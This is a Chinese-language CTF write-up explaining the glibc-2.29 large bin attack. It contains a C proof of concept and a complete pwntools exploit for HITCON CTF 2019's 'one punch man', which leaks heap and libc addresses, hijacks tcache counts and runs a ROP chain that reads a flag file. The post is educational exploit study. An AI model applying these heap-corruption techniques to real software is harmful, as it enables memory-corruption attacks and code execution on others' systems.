glibc-2.29 large bin attack 原理
責編：gltian ｜2019-11-06 14:59:20該方法并非筆者發現，而是閱讀 balsn 的 writeup 時分析而得到的，這里介紹一下這種攻擊方法。
unsorted bin attack
在介紹新的攻擊技術之前，先來緬懷一下 unsorted bin attack ， 由于 glibc-2.29 新上的保護措施，使得 unsorted bin attack 基本已經成為過去式。
unsorted bin attack?的原理是利用 unsorted bin 在解鏈時，對 fd 指針的操作，直接的作用就是可以任意地址寫入一個 main_arena 地址值，非常好用的攻擊方法。雖然 glibc-2.29 不能使用 unsorted bin attack 了，但是 large bin attack 或許可以成為它的代替品。
large bin attack
glibc-2.29 的 large bin attack 和先前的并不完全一樣，但是原理類似。
其主要發生在 large bin 的 nextsize 成環時，沒有對其進行檢查，所以只要存在 UAF 漏洞，就能修改 nextsize 指針進行任意地址寫入 chunk 地址的操作。
漏洞主要發生在下列代碼（來自?glibc-2.29/malloc/malloc.c:3841?）：
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // one
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
// but size must be different
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; // two
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
large bin 是以 victim_index 為單位進行 nextsize 之間的成環操作，每個 victim_index 的長度是 0x40，上面的代碼是 unsorted bin 進行歸位 操作時，將 本屬于該環的 victim 插入到該環中。但是這里卻沒有?unsorted bin?那樣對指針進行檢查。
由于 large bin 是雙向鏈表，插入操作并不會對整個環進行檢查，這里我們只需要劫持 其 bk_nextsize 指針，那么在插入的時候，程序便會把該假的地址當成一個真的 chunk 從而進行雙向鏈表插入操作，這樣就會使得 該要插入的 chunk 將會留下它的地址到我們 設置的任意地址。
其核心代碼是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two，就是在這里完成了寫操作，具體執行哪段代碼還要取決與 兩個chunk 的size 比較。
這里提醒一點，兩個chunk 的size不能相同，否則會執行下面程序流而導致不能實現我們的目的。
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
其次是 large bin 的 fd_nextsize 需要設置為0，否則程序流會執行到下面的代碼進行unlink 操作，那么就無法通過 unlink 對 large bin 的 bk_nextsize 和 fd_nextsize 檢查。
來自?glibc-2.29/malloc/malloc.c:4049
size = chunksize (victim);
/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));
remainder_size = size - nb;
/* unlink */
unlink_chunk (av, victim);
樣例代碼
#include <stdio.h>
#include <stdlib.h>
size_t buf[0x10];
int main()
{
size_t *ptr, *ptr2, *ptr3;
setbuf(stdout, NULL);
ptr = malloc(0x438);
malloc(0x18);
ptr2 = malloc(0x448);
malloc(0x18);
free(ptr);
// put ptr into large bin
malloc(0x600);
free(ptr2);
ptr[2] = 0;
ptr[3] = (size_t)&buf[0];
printf("buf[4]: 0x%lxn", buf[4]);
ptr3 = malloc(0x68);
printf("buf[4]: 0x%lxn", buf[4]);
return 0;
}
buf[4]就相當于 fake_chunk->fd_nextsize 指針，指向該節點的上一個節點。
執行結果如下所示：
buf[4]: 0x0
buf[4]: 0x560075a246b0
例題 – HITCON CTF 2019 PWN – one punch man
該程序主要的漏洞就是在delete時沒有清理指針，導致UAF。
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]
write_str("idx: ");
v0 = get_int();
if ( v0 > 2 )
error((__int64)"invalid");
free((void *)heros[v0].calloc_ptr);
}
程序預置了后門函數，但是在tcache上有限制，必須要我們劫持tcache_perthread_struct才行，這里有兩種思路，我自己的做法是劫持tcache_perthread_struct->entries，這里由于和本文章關系不大，這里我簡要說下核心思路：利用tcache_perthread_struct->counts?偽造 size，然后利用 unlink 使得chunk overlap，然后控制其tcache_perthread_struct->entries。
第二種做法就是 balsn 戰隊的做法，很優秀的方法，核心思路就是利用?large bin attack?修改?tcache_perthread_struct->counts?來使用預置后門，然后用?add?當中的緩沖區進行 ROP。
下面是 balsn 的腳本。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763
r = process('./one_punch')
binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc-2.29.so")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass
def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))
def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)
# if len(sys.argv) == 1:
# r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
# else:
# r = remote(host ,port)
if __name__ == '__main__':
name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"x00")) - 0x260
print("heap = {}".format(hex(heap)))
for i in xrange(5):
name(2,"A"*0x210)
d(2)
name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)
rename(2,p64(libc + 0x1e4c30))
name(0,"D"*0x90)
d(0)
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)
name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
d(0)
d(1)
name(0,"A"*0x80)
name(1,"A"*0x80)
d(0)
d(1)
name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200)
d(1)
d(2)
name(2,"A"*0x200)
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
d(0)
d(2)
// pause()
name(0,"/home/ctf/flagx00x00" + "A"*0x1f0)
magic("A")
add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5
magic( p64(add_rsp48))
name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()
在上面的// pause()處暫停，查看其bin情況。
pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —? 0x7f455f1dd090 (main_arena+1104) ?— 0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0: 0x4141414141414141 0x0000000000000421
0x56224269a4d0: 0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0: 0x0000000000000000 0x0000562242698010
pwndbg>
這里構造好了 large bin attack，當進行 unsorted bin 歸位時，便會修改tcache_perthread_struct->counts。
筆者是星盟安全團隊成員之一，這里歡迎熱愛網絡安全的小伙伴們加入星盟安全：XHUwMDc4XHUwMDY5XHUwMDZlXHUwMDY3XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDVmXHUwMDczXHUwMDY1XHUwMDYzXHUwMDQwXHUwMDMxXHUwMDM2XHUwMDMzXHUwMDJlXHUwMDYzXHUwMDZmXHUwMDZk?。
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